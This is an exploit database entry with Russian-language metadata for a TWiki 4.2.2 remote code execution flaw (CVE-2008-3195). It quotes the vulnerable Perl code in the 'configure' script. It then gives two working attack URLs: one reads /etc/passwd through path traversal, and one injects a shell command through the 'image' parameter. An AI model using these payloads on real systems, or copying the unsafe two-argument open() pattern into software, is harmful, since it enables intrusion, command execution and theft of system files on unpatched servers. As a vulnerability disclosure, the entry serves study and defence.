Exploit TWiki 4.2.2 - 'action' Remote Code Execution

[Exploiter]

EDB-ID

6509

Проверка EDB

1. Пройдено

Автор

WEBDEVIL

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

cve-2008-4112 cve-2008-3195

Дата публикации

2008-09-21

#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s)      : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error

    # on some versions of CGI.pm
    # print $query->header(-type => $query->param('type'));
    # So use this instead:
    print 'Content-type: '.$query->param('type')."\n\n";

    if( open(F, 'logos/'.$query->param('image' ))) {
        local $/ = undef;
        print <F>;
        close(F);
    }

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain

# milw0rm.com [2008-09-21]